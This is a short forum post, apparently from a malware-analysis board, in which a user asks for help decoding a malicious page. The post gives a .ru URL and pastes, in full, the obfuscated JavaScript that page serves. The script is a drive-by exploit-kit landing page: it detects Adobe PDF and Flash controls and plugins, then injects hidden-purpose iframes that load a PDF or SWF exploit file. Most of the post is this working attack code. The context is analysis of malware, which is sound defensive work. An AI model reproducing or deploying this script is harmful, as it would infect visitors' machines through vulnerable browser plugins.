no luck to decode this with malzilla...
http://franchjump.ru/lib/index.php
leads to:
<html><head></head><body><script>function qVkMn73vX(qVkMn73vX){return true;}var x0RUJqGCTF = new Array("PDF.PdfCtrl",
"AcroPDF.PDF", "ShockwaveFlash.ShockwaveFlash", "Adobe Acrobat", "Adobe PDF", "Flash");this.lpZBwtxYaW=13553;function
b7vOGuKPk(rhodih6xR){var lSQBVtKKX=false;var njJadnyF2 = document.createElement("iframe");var
vGTSfY3ftC='vGTSfY3ftC';njJadnyF2.setAttribute("src", rhodih6xR);var
ra2KsGcQ3="ra2KsGcQ3";njJadnyF2.setAttribute("width", 200);var fTdFvA65k=1511;njJadnyF2.setAttribute("height",
200);this.cE7Uzbow='cE7Uzbow';document.body.appendChild(njJadnyF2);this.f1ZyDcfNJ=16427;}this.lFGmhMmt9=false;if(navigator.userAgent.indexOf("MSIE")
!= -1){this.lFGmhMmt9=false;for(mMb5G2BC = 0; mMb5G2BC < 3; mMb5G2BC ++){try{mzF1gvC6I = new
ActiveXObject(x0RUJqGCTF[mMb5G2BC]);function wEmSDxNQh(){}if(mzF1gvC6I){function iw2iiIFYF(iw2iiIFYF){return
true;}switch(mMb5G2BC){case 0:case 1:b7vOGuKPk("belowTendSome.pdf");break;case 2:b7vOGuKPk("evilSOr.swf");break;}var
wLGLEXnXZ=27351;}else{var sEZtIAB6M="sEZtIAB6M";}}catch(e){ function sHpNQCBS6(sHpNQCBS6){return sHpNQCBS6;}
}}}else{this.tHPi7ocW4="tHPi7ocW4";for(w594UW3fa = 0; w594UW3fa <= navigator.plugins.length; w594UW3fa++){var a1VPNeZNR
= navigator.plugins[w594UW3fa].name;if((a1VPNeZNR.indexOf(x0RUJqGCTF[3]) != -1 || a1VPNeZNR.indexOf(x0RUJqGCTF[4]) !=
-1)) b7vOGuKPk("belowTendSome.pdf");if( a1VPNeZNR.indexOf(x0RUJqGCTF[5]) != -1 ) b7vOGuKPk("evilSOr.swf");}function
wJwuFMJm(wJwuFMJm){return true;}}this.rsmpJInjI='rsmpJInjI';var hhNE48RIR="hhNE48RIR";var
jPyi2a1aR="jPyi2a1aR";</script></body></html>
Topic: pdf swf exploit in iframe (Read 6019 times)